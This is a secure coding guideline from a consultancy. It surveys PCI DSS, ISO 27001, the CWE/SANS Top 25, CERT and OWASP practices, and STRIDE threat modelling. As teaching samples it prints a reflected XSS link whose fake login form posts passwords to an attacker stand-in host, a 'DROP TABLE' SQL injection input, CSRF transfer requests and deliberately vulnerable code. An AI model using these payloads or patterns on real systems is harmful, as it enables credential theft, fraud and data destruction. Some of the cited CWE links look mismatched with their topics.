hero banner

SECURE

Software Development Guidelines

Introduction

Information technology is part of the life-blood of modern-day business operations. Organisations are dependent on reliable and secure communications and IT systems.

Furthermore, the secure development of software is essential for ensuring the confidentiality, integrity, and availability of information processed within software applications, running upon information communication technologies.

The purpose of this presentation is to stand on the shoulders of existing good practices, not replace recognised ways of secure coding. This guide provides an overview of good working practices and techniques for assuring the development of secure software.

It is impractical to eliminate all security vulnerabilities. However, by following recognised good practices, this guide will facilitate changes in behaviours to reduce the likelihood of main security threats.

Overview: Secure Development

“Buffer overflows”, “zero-day vulnerabilities”, “SQL injection”, are all buzz-words that signify security problems in software that have allowed, for example, a website, or a fat-client application to become compromised and cracked into by an organised gang, an individual for financial or reputation gain.

The sources of these attacks are many and varied (but are explored later on). However what they have in common is an open field to plough and reap financial gain from miss-configured, and insecurely programmed software applications.

Secure software development is the art, rather than science, of reducing the likelihood of systems compromise, given known, common, insecure development practices.

Requirements in Standards

The two standards used as key motivators that underpin secure development practices are:

01 PCI DSS

The Payment Card Industry Data Security Standard

PCI DSS is a formal requirement set out by card schemes (Visa etc) which in turn, is regulated by the banks, who enforce the standard upon merchants.

Requirement six (Develop and maintain secure systems and applications) of the PCI DSS sets out prescriptive requirements for secure development.

All these areas are explored in section 3 of this guide.

02 ISO 27001

The information security management framework

This standard is generally seen (i.e. the Information Commissioner, and the Financial Services Authority) as the primary suggested guidance for establishing an information security management system. PCI DSS can fit under ISO 27001.

The standard is less prescriptive and provides a wider scope with regards to guidance on secure software development.

Good Coding Practices

There are a plethora of good coding practices available from Microsoft, Oracle, and other large and small software providers on the Internet that provide excellent direction on securing your code (these are referred to within this guide).

Here, we explore three approaches to encourage secure coding practices.

01 CWE/SANS Top 25 software errors

02 CERT Top 10 secure coding practices

03 OWASP Secure coding practices checklist

01 CWE/SANS Top 25 Software Errors

The SANS Institute has a global reputation for been neutral on products, vendors, and standards. It provides expert guidance on secure development practices, and it works with government and private sector entities alike.

The CWE/SANS Top 25 software errors explore the fundamental failures in programming that promote security weaknesses and criminal exploitation.

The CWE/SANS Top 25 group the 25 software errors into THREE categories:

A. Insecure Interaction Between Components

This group of problems is routed in the flexibility of HTTP as web protocol. HTTP is a stateless protocol, which provides a large amount of freedom in developing web technologies. This freedom provides significant benefits to both the producer of web content and consumers. E.g. such as the web server not being tied down with a connection for every individual web user; therefore, freeing up resources for other web users, and in turn saving money, and improving performance.

Wherefore as if the HTTP protocol were stateful, every single user could have a dedicated and reserved connection to the server. This would, on the contrary, reduce available resources leading to more servers having to be made available, and web users having to wait for a free connection.

Given that HTTP provides flexibility, the state needs to be maintained for tracking users, applications, and their respective preferences. This is achieved sometimes through cookies, but also through programming techniques that lead to security problems

Cross-site Scripting or XSS - Failure to preserve web page structure

This type of vulnerability is where a user is provided with what they believe to be genuine content from a website they have connected to, but this content is, in fact, hiding some malicious code or script.

For example, you are directed to a website via a link in an email, this link provides a URL to a bank you are a customer with. The link contains a link to the bank but, also has embedded content that directs your login page to a malicious site which captures these details, as part of some fraudulent or theft activity.

There are three types of XSS:

1. Reflected XSS (non-persistent)

Here the example given above is the “classic” XSS, however, the XSS is temporary, not stored within the website framework;

2. Stored XSS (persistent)

In this case, the XSS is saved within the web framework of the website, for example in a database, or uploaded via another vulnerability or access point; and

3. DOM-Based XSS

In this case, the XSS is based upon the presentation object model (DOM), the XSS is embedded into the webpage, through client-side scripts which are altered and sent back to the website for processing, and come back to the user as looking like genuine website content.

A URL link below is an example of Reflected XSS for a PHP page which can be distributed by the attacker. The link will create a fake login box which sends login credentials to the attacker.

http://trustedSite.example.com/welcome.php?username=<divid="stealPassword">Please Login:<form name="input" action="http://attack.example.com/stealPassword.php" method="post">Username: <input type="text" name="username" /><br/>Password: <input type="password" name="password" /><br/><input type="submit" value="Login" /></form></div>

This URL link can be further obfuscated by translating the attack string to Unicode, rendering the text in the URL link human unreadable.

For further information, please refer to:

http://cwe.mitre.org/data/definitions/79.html#Demonstrative%20Examples

SQL Injection - Failure to preserve SQL Query Structure

SQL (Structure Query Language) is a simple query language that provides large amounts of flexibility in querying data. This flexibility also provides security drawbacks, in the sense that it is a flexible language, and innately trusting. To secure SQL, the environment upon which it exists and executes must be secured.

In a nutshell, an SQL injection attack is caused by accepting and not validating an SQL query which has some form of untrusted extension appended to it. This is often achieved through a lack of input validation or an embedded query which has not been security checked.

An SQL query could be appended via a comment or Boolean logic extension. This could lead amongst a multitude of problems, to the “dropping” of a database, or execution of system command.

For example, if SQL statements are executed without checking for input, an SQL injection to drop tables or database can be performed.

txtSQL = "SELECT * FROM Users WHERE UserId = " + txtUserId;

SQL injection performed by passing “105; DROP TABLE Suppliers” into txtUserId through an input field.

For further information, please refer to:

http://cwe.mitre.org/top25/#CWE-352

Cross-Site Request Forgery (CSRF)

Where a website user is already authenticated, and a session is established, e.g. a social networking or banking website; and a user accepts some invitation from another website or email, this invitation could be malicious.

Once the user has given this malicious site or email link access to the user's web browser, it uses this existing session to send messages to these sites, as if they originated from the authenticated original website user.

Two examples of the malice that could come from this could be full access to the user's bank account, and a consequential loss of funds; or his social networking account, where pictures are uploaded or downloaded. The fallout from both these issues could be devastating.

A. Insecure Interaction Between Components

A GET request may be set up to transfer funds to another account. For example:

GET http://bank.com/transfer.do?acct=BOB&amount=100 HTTP/1.1

A similar GET request could be generated to mount a CSRF attack. For example:

GET http://bank.com/transfer.do?acct=MARIA&amount=100000 HTTP/1.1

This GET request can then be further embedded in anchor or image tags and included in emails.

B. Risky Resource Management

This group of security problems stems from a lack of input validation and bounds checking within the operating system, programming language, or web script.

Resources made available to the programming language lead themselves to be exploited by malicious code or script, providing an attacker with control over the subject system.

For further information, please refer to:

http://cwe.mitre.org/data/definitions/120.html

Classic Buffer Overflow - Buffer copy without checking size of input

This security issue arises from when a given amount of memory for a buffer, or a variable, for example, is overrun, or overflowed. The data in that buffer then flows to the next memory address causing the program to crash.

However, if that overrun of memory contains a pointer to another memory address, this other address could contain malicious code which is executed and provides the attacker with for example a shell to the operating system, with the privileges of the executed program.

For further information, please refer to:

http://cwe.mitre.org/data/definitions/120.html

Path Traversal - Improper limitation of a pathname to a restricted directory

This vulnerability allows the execution of a local system file, or access to a directory, which is generally prohibited or should be restricted. It is exploited when a malicious user provides a pathname to a website, either through a URL or through an upload dialogue.

By traversing the directory structure of the target, e.g. a website, it may be possible to locate information e.g. a password file, or learn more about the target, so as to gain additional access and control.

For further information, please refer to:

http://cwe.mitre.org/data/definitions/754.html

Improper checking for unusual or exceptional conditions

When creating a program, assumptions are made as to what the expected inputs will be, and how these, or any unexpected behaviour should be handled.

When unusual input is received, and the program is unable to handle this input, or an exception is caused, again, the program is unable to handle, the programme will end, either gracefully, or not, depending on the exception handling in place.

Without thorough exception handling in place, a program can be exploited for its weaknesses, and provide an attacker with access to the system the program resides upon, along with the privileges it was executed with.

For example, the negative example below fails to handle the error when the IF condition is not met.

String os = System.getProperty("os.name");

if (os.equalsIgnoreCase("Windows 95")) System.out.println("Not supported");

For further information, please refer to:

http://cwe.mitre.org/data/definitions/285.html

C. Porous Defences

Improper Access Control (Authorisation)

When access is granted to an authorised user, or trusted information is transferred across the internet, someone or thing (a process) has been given authority and access to this information. If security controls are not implemented, this authority could be abused, be it maliciously or accidently.

Post authentication, users or processes are authorised, and have access to system resources, be these resources files, network shares, other code, or databases etc.

Ensuring that only those resources needed for the job role, or process purpose will reduce the likelihood that if authorisation and access control rights are exploited, appropriate access control checks are in place.

For further information, please refer to:

http://cwe.mitre.org/data/definitions/807.html

Reliance on untrusted inputs in a security decision

Where information which a program relies upon can be intercepted, modified, or replayed, this information should be validated and protected appropriately.

For example, if a session recording mechanism such as a cookie is used, if that cookie is unprotected, an attacker could modify that cookie, and substitute the credentials of one user, for another. This could lead to either elevated privileges or allow an attacker to carry out some malicious act, or blame an activity on the compromised user.

For example, the code below reads information from a cookie, which is susceptible to modification by an attacker.

Cookie[] cookies = request.getCookies();

for (int i =0; i< cookies.length; i++) {

Cookie c = cookies[i];

if (c.getName().equals("role")) {userRole = c.getValue();

}

}

For further information, please refer to:

http://cwe.mitre.org/top25/#CWE-311

Missing encryption of sensitive data

Properly implemented cryptography provides confidentiality, integrity, and authentication for information. Without encrypting sensitive information used for authentication, authorisation, or subjectively sensitive information, there are no guarantees provided, that this information cannot be intercepted, manipulated, and re-used for some other malicious purpose.

Protecting information that is transferred beyond your control e.g. through the Internet, is critical to ensuring the longevity of the security within the systems programmers develop, and those systems upon which these programs connect.

02 CERT Top 10 Secure Coding Practices

The US CERT (Computer Emergency Response Team), is one of the major lines of defense for protecting the US ICT infrastructure, for civilians, in the United States. It has a global reputation for cutting edge advice, and risk management approach to information security problems.

CERT provides guidance on the top ten good practices for secure coding development.

1. Input Validation

Checking that input which is received from the user or the expected input from another application, is critical to preventing a program or script from crashing. The crashing could lead to a denial of service or execution of arbitrary code from an attacker.

Input can be sourced from a user entering information into a field, but also as an XML message, or environmental variables, or numerous other sources of input.

Sanitising input can be achieved by imagining all the scenarios possible, and having an exception to handle those “bad” inputs. Thorough manual and automated testing, using tools to test your error handling will help to reduce input errors. Examples of such tools that can assist you are explored in the next section.

Techniques such as regular expressions and using standard open libraries can also assist in reducing the effort and amount of coding required.

2. Heed Complier Warnings

Compilers can throw up warning messages which can be incredibly useful for detecting insecure code, increasing the amount of warnings output can assist in making the code more secure, and assisting you in making your code more efficient.

There will be a learning curve; habits are difficult to break, but heeding feedback from compilers will save time in the future.

3. Architect & design for security policies

Creating or following standard-based software architecture will allow the developer to design, implement and enforce security policies. By separating your development and production environments and controlling changes between the two, you will facilitate greater control over the releases of software, and any bugs. Therefore reducing the weakening effects of a homogenous development environment.

The same principle applies to implement a security policy, for example, if different users with different privilege sets require access to information at different times, give them each their own restricted environment, and privilege set to work within.

4. Keep it simple

Keeping the design of your code as simple and as small as possible will reduce the amount of effort (and cost) taken to make an improvement at a later date, this includes security improvements.

5. Default deny

Access decisions should be based upon the principle of default deny, that privileges are granted upon a permission basis, rather than by exclusion. This leads to an increase in control around any change in privileges. The protection scheme then used (e.g. sudoers, or access control lists) can make access decisions.

6. Principle of least privilege

Every processes and user should execute with the minimum amount of rights (least privilege) required to execute a task. If higher privileges are required, these should be time-bound, to expire when no longer required, not to be assigned permanently. This reduces the window of opportunity for an attacker.

7.Sanitise data sent to other systems

Any information sent to other systems or subsystems should be sanitized. Attackers may be able to utilise functionality within the data e.g. SQL Injection or command shell execution. It may also be the case the receiving system does not understand the context of which the data was sent, and does not provide appropriate protection.

8. Practise defence in depth

Security and information risks can be managed better, with redundant security strategies. If one control fails the other may prevent an attacker from exploiting a system or gaining unauthorised access to information.

For example, by securing your operating environments, and develop secure applications, you increase the level of security within your systems.

9. Use effective quality assurance techniques

Incorporate quality assurance techniques can assist in identifying weakness and vulnerabilities. Implementing through penetration testing, vulnerability assessments, fuzzing, and source code analysis can all help reduce the likelihood of insecure coding causing system compromise, or information disclosure.

Using independent assurance and external review can help tackle problems with objectivity and established assumptions.

10. Adopt a secure coding standard

Develop, implement, test and monitor a secure coding standard that suits your development environment.

03 OWASP Secure coding practices checklist

Like CERT, the Open Web Application Security Project (OWASP) has its own checklist of secure coding practices that can be integrated into the software development lifecycle. Implementation of these practices can help to mitigate most common software vulnerabilities.

The checklist is based on the premise that it is much less expensive to build secure software than to correct security issues after the software package has been completed, not to mention the costs that may be associated with a security breach.

1. Input Validation

Conduct all data validation on a trusted system (e.g. the server

Identify all data sources and classify them into trusted and untrusted. Validate all data from untrusted sources (e.g. databases, file streams, etc.)

There should be a centralised input routine for the application

Specify proper character sets, such as UTF-8, for all sources of input

All validation failures should result in input rejection

2. Output encoding

Conduct all encoding on a trusted system (e.g. the server)

Utilise a standard and tested routing for each type of outbound encoding

Encode all characters unless they are known to be safe for the intended interpreter

Contextually sanitise all output of untrusted data to queries for SQL, XML and LDAP

Sanitise all output of untrusted data to operating system commands

3. Authentication and password management

Require authentication for all pages and resources, except those specifically intended to be public

Establish and utilise standard and tested authentication services wherever possible

Segregate authentication logic from the resource being requested and use redirection to and from the centralised authentication control

All authentication controls should fail securely

Use only HTTP POST requests to transmit authentication credentials

4. Session management

Use the server or framework’s session management controls. The application should only recognise these session identifiers as valid

Session management controls should use well -vetted algorithms that ensure sufficient random session identifiers

Set the domain and path for cookies containing authenticated session identifiers to an appropriately restricted value for the site

Logout functionality should fully terminate the associated session or connection

Generate a new session identifier on any re-authentication

5. Access control

Use a single site-wide component to check access authorisation. This includes libraries that call external authorisation services

Segregate privileged logic from other application code

Enforce application logic flows to comply with business rules

Restrict access to protected URLs to only authorised users

Deny all access if the application cannot access its security configuration information

Principles of Secure Code Design

Threat Modelling

Modelling threats using risk modelling can in addition to the misuse cases provide clarity on potential security problems before they are designed into applications, and then have to be designed out at a later date.

OWASP uses the Microsoft method for threat modelling, using the STRIDE (classification of threats, used to qualify the type of threat) models.

This model allows developers to qualitatively and quantitatively assess the risks, and the likelihood of security threats, from software security issues.

For further information, please refer to:

https://www.owasp.org/index.php/Threat_Risk_Modeling

Threat Modelling : STRIDE

Spoofing Identity

An application must be able to identify, authorise and contain a user. It must not be possible for an application to allow the identity of the user to be spoofed or assumed from another user account.

Tampering With Data

Applications should not trust implicitly data returned from the user, data should be validated, and checked to ensure it is compliant with the type of information expected or originally sent.

Repudiation

Appropriate accounting and auditing should take place in transactions that could be repudiated by a user.

Information Disclosure

Protecting information stored by the application is critical from a trust and security perspective. Ensure the authentication, authorisation, and accountability of users. Use cryptographic protection if the risk to information requires it, and do not rely on security through obscurity to protect or hide information

Denial of Service

Applications and supporting infrastructure should be design to ensure availability of resources to deliver what has been promised. Threats to availability should be quantified and appropriate plans in place to mitigate denial of service.

Elevation of Privilege

Ensure that users are unable to promote their account to a higher level of privilege, such as an administrative account. Validate this through an authorisation matrix, ensuring that only permitted roles can access more privileged access rights.

Examples of Secure Coding Guidelines

OWASP

http://www.owasp.org/

The Open Web Application Security Project is an open community not-for-profit entity, who design, test, implement and share secure coding practices for any platform or language. They are a vendor, product and services agnostic, providing independent and objective advice on secure coding.

In addition to the Wiki site providing a range of guidance, they also provide tools to assist developers in testing their code.

Example of some OWASP tools:

Webgoat is a test environment created with insecurities in mind, so as to allow testers to exploit security vulnerabilities and be able to recognise the main coding errors made. This is in order to teach developers to recognise and therefore not reproduce the common security errors in code development.

Webscarab is an intercepting proxy, allowing developers to analyse HTTP and HTTPS traffic, observe web transactions, session behaviours etc.

CWE

http://cwe.mitre.org/

Common Weakness Enumeration is again a community-based guidance site made freely available to the public, in order to protect the wider community from the exploitation of security vulnerabilities.

CWE and SANS work together to publish the top 25 coding errors, along with guidance and examples on how to prevent the most common secure coding errors.

CWE also provides a standard means for classifying security vulnerabilities, providing consistency and categorisation to make the understanding, discovery, and classification of security vulnerabilities clearer to the international community.

NIST

http://csrc.nist.gov/

The US National Institute of Standards and Technology is globally renowned for their definitive standards for computer security. Governments around the world refer to them in their own standards and are an authority on information security standards.

NIST provides guidance on security considerations in the systems development life cycle, covering all forms of a software application, not just web-based. Further detail is available from:

http://csrc.nist.gov/publications/nistpubs/800-64-Rev2/SP800-64-Revision2.pdf

Others

CERT Secure Coding Standards

The CERT secure coding standards provide detailed guidance (free of charge) on the secure development of Java, C, and C++.

Available from:

https://www.securecoding.cert.org/confluence/display/seccode/CERT+Secure+Coding+Standards

Microsoft Secure Coding Guidelines

Microsoft provide detailed guidance on secure coding practices for all their development languages, including threat models used to identify weaknesses at the design stages.

These models have been recognised as good practice by OWASP.

Available from:

http://msdn.microsoft.com/en-us/library/d55zzx87(VS.90).aspx

About Pragma

Pragma is a cybersecurity and regulatory compliance consultancy focused on helping organisations secure their themselves from digital risks and drive change by developing pragmatic, agile and personalised security capability.

Our world-class capabilities in cybersecurity consulting, experience in technology regulations, large scale implementation, managed security services, and incident management enable transformational work that help our clients stay secure and sustain a competitive advantage.

The above information is an overview and is not intended to be advice on any particular matter. Pragma expressly disclaims liability to any person in respect of anything done in reliance of the contents of these publications. Professional advice should be sought before taking action on any of the information contained in it. Pragma (Registration No. 201629205M) is a Private limited company registered in Singapore under the Companies Act, Chapter 50.

© 2019 Pragma Pte Ltd. All rights reserved. In this document, “Pragma” operates under the legal entity Pragma Pte Ltd.


Date: July 18, 2023


Pragma Logo

Terms & conditions

Privacy Policy